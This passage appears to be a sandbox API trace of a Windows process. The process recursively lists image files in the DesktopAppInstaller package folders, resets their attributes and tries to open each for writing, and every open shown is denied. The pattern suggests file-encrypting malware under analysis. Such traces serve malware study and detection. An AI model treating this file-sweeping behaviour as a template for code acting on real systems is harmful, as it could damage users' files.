	[0091.792] wcscpy (in: _Dest=0x4ebcc70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.792] wcscat (in: _Dest=0x4ebcc70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.792] wcscat (in: _Dest=0x4ebcc70, _Source="AppPackageStoreLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png"
	[0091.792] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagestorelogo.scale-100.png")) returned 0x20
	[0091.796] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.796] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagestorelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.796] GetLastError () returned 0x5
	[0091.796] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcc70) returned 1
	[0091.796] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d308b21, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d308b21, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.796] wcscmp (_String1="AppPackageWideTile.scale-100.png", _String2=".") returned 1
	[0091.796] wcscmp (_String1="AppPackageWideTile.scale-100.png", _String2="..") returned 1
	[0091.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc790
	[0091.796] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.796] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.797] wcscat (in: _Dest=0x4ebc790, _Source="AppPackageWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png"
	[0091.797] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagewidetile.scale-100.png")) returned 0x20
	[0091.800] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.800] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagewidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.800] GetLastError () returned 0x5
	[0091.800] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.800] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0091.800] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1ce307, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0091.800] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0091.800] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0091.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716ae0
	[0091.800] wcscpy (in: _Dest=0x4716ae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.800] wcscat (in: _Dest=0x4716ae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.800] wcscat (in: _Dest=0x4716ae0, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d89108
	[0091.800] wcscpy (in: _Dest=0x2d89108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.800] wcscat (in: _Dest=0x2d89108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.800] wcscat (in: _Dest=0x2d89108, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\*"
	[0091.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0091.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1ce307, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.802] wcscmp (_String1=".", _String2=".") returned 0
	[0091.802] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1ce307, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.802] wcscmp (_String1="..", _String2=".") returned 1
	[0091.803] wcscmp (_String1="..", _String2="..") returned 0
	[0091.803] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d308b21, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d308b21, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.803] wcscmp (_String1="AppPackageAppList.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.803] wcscmp (_String1="AppPackageAppList.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x4790dc0
	[0091.803] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.803] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.803] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageAppList.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png"
	[0091.803] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.scale-100_contrast-black.png")) returned 0x20
	[0091.803] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.803] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.803] GetLastError () returned 0x5
	[0091.803] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.803] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d308b21, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d308b21, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageBadgeLogo.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.803] wcscmp (_String1="AppPackageBadgeLogo.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.803] wcscmp (_String1="AppPackageBadgeLogo.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.803] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.803] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.803] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageBadgeLogo.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png"
	[0091.804] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagebadgelogo.scale-100_contrast-black.png")) returned 0x20
	[0091.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.804] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagebadgelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.804] GetLastError () returned 0x5
	[0091.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.804] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d308b21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d308b21, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d308b21, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageLargeTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.804] wcscmp (_String1="AppPackageLargeTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.804] wcscmp (_String1="AppPackageLargeTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.804] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.804] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.804] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageLargeTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png"
	[0091.804] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagelargetile.scale-100_contrast-black.png")) returned 0x20
	[0091.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.805] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagelargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.805] GetLastError () returned 0x5
	[0091.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.805] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageMedTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.805] wcscmp (_String1="AppPackageMedTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.805] wcscmp (_String1="AppPackageMedTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x4790dc0
	[0091.805] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.805] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.805] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageMedTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png"
	[0091.805] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagemedtile.scale-100_contrast-black.png")) returned 0x20
	[0091.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.805] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagemedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.805] GetLastError () returned 0x5
